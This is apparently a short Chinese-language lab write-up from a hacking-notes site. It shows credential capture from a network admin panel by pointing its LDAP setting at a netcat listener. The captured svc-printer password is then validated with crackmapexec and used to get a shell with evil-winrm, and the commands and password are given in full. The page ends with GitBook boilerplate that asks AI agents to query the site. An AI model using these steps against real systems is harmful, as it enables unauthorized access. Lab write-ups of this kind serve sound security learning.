> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/network-admin-panel-cms-exploitation.md). # 网络管理面板网络管理面板利用笔记，涵盖 LDAP 回连捕获、print.return.local 滥用、凭据泄露、WinRM 验证和 evil-winrm 访问。

端口 80 的设置显示服务器配置指向 `print.return.local` 通过 389 端口。

**正在监听 389 端口**/ 位置 `netcat` 以监听模式在 389 端口上： ```bash nc -nlvp 389 ``` * 收到一个连接，暴露出以下凭据： `svc-printer` 密码为 `1edFg43012!!`.

**使用 WinRM 验证凭据** 在 WinRM 5985 端口开放的情况下，使用以下命令验证凭据： `crackmapexec`: ```bash crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!' ``` * 该 `已攻陷` 响应确认凭据有效。

**Evil-WinRM 登录** 使用 `evil-winrm` 以获取一个 shell，身份为 `svc-printer`:

evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/cms/network-admin-panel-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.